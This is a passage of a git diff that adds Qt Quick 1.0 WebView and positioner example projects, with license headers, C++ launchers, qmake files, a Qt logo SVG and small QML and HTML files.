+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import QtWebKit 1.0
+
+// Inline HTML with loose formatting can be
+// set on the html property.
+WebView {
+ html:"\
+ <body>
+ <table border=1>
+ <tr><th><th>One<th>Two<th>Three
+ <tr><th>1<td>X<td>1<td>X
+ <tr><th>2<td>0<td>X<td>0
+ <tr><th>3<td>X<td>1<td>X
+ </table>"
+}
diff --git a/examples/declarative/modelviews/webview/newwindows/main.cpp b/examples/declarative/modelviews/webview/newwindows/main.cpp
new file mode 100644
index 00000000..779cbf19
--- /dev/null
+++ b/examples/declarative/modelviews/webview/newwindows/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/newwindows/newwindows.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/webview/newwindows/newwindows.png b/examples/declarative/modelviews/webview/newwindows/newwindows.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/webview/newwindows/newwindows.png
Binary files differ
diff --git a/examples/declarative/modelviews/webview/newwindows/newwindows.pro b/examples/declarative/modelviews/webview/newwindows/newwindows.pro
new file mode 100644
index 00000000..adb10435
--- /dev/null
+++ b/examples/declarative/modelviews/webview/newwindows/newwindows.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/newwindows
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEE16E439
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/webview/newwindows
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/webview/newwindows/newwindows.qmlproject b/examples/declarative/modelviews/webview/newwindows/newwindows.qmlproject
new file mode 100644
index 00000000..dd58cbfa
--- /dev/null
+++ b/examples/declarative/modelviews/webview/newwindows/newwindows.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/newwindows"
+ }
+ JavaScriptFiles {
+ directory: "qml/newwindows"
+ }
+ ImageFiles {
+ directory: "qml/newwindows"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/webview/newwindows/newwindows.svg b/examples/declarative/modelviews/webview/newwindows/newwindows.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/webview/newwindows/newwindows.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/webview/newwindows/qml/newwindows/newwindows.html b/examples/declarative/modelviews/webview/newwindows/qml/newwindows/newwindows.html
new file mode 100644
index 00000000..f1695993
--- /dev/null
+++ b/examples/declarative/modelviews/webview/newwindows/qml/newwindows/newwindows.html
@@ -0,0 +1,3 @@
+<h1>Multiple windows...</h1>
+
+<a target="_blank" href="newwindows.html">Popup!</a>
diff --git a/examples/declarative/modelviews/webview/newwindows/qml/newwindows/newwindows.qml b/examples/declarative/modelviews/webview/newwindows/qml/newwindows/newwindows.qml
new file mode 100644
index 00000000..151254f1
--- /dev/null
+++ b/examples/declarative/modelviews/webview/newwindows/qml/newwindows/newwindows.qml
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// Demonstrates opening new WebViews from HTML
+//
+// Note that to open windows from JavaScript, you will need to
+// allow it on WebView with settings.javascriptCanOpenWindows: true
+
+import QtQuick 1.0
+import QtWebKit 1.0
+
+Grid {
+ columns: 3
+ id: pages
+ height: 300; width: 600
+
+ Component {
+ id: webViewPage
+ Rectangle {
+ width: webView.width
+ height: webView.height
+ border.color: "gray"
+
+ WebView {
+ id: webView
+ newWindowComponent: webViewPage
+ newWindowParent: pages
+ url: "newwindows.html"
+ }
+ }
+ }
+
+ Loader { sourceComponent: webViewPage }
+}
diff --git a/examples/declarative/modelviews/webview/webview.pro b/examples/declarative/modelviews/webview/webview.pro
new file mode 100644
index 00000000..1cb7631f
--- /dev/null
+++ b/examples/declarative/modelviews/webview/webview.pro
@@ -0,0 +1,8 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ alerts \
+ autosize \
+ googlemaps \
+ inlinehtml \
+ newwindows
diff --git a/examples/declarative/positioners/main.cpp b/examples/declarative/positioners/main.cpp
new file mode 100644
index 00000000..474d0cbe
--- /dev/null
+++ b/examples/declarative/positioners/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/positioners/positioners.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/positioners/positioners.png b/examples/declarative/positioners/positioners.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/positioners/positioners.png
Binary files differ
diff --git a/examples/declarative/positioners/positioners.pro b/examples/declarative/positioners/positioners.pro
new file mode 100644
index 00000000..2b1adf1e
--- /dev/null
+++ b/examples/declarative/positioners/positioners.pro
@@ -0,0 +1,42 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/positioners
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE6D726D3
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/positioners
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/positioners/positioners.qmlproject b/examples/declarative/positioners/positioners.qmlproject
new file mode 100644
index 00000000..fa2812d5
--- /dev/null
+++ b/examples/declarative/positioners/positioners.qmlproject
@@ -0,0 +1,18 @@
+/* File generated by QtCreator */
+
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/positioners"
+ }
+ JavaScriptFiles {
+ directory: "qml/positioners"
+ }
+ ImageFiles {
+ directory: "qml/positioners"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/positioners/positioners.svg b/examples/declarative/positioners/positioners.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/positioners/positioners.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 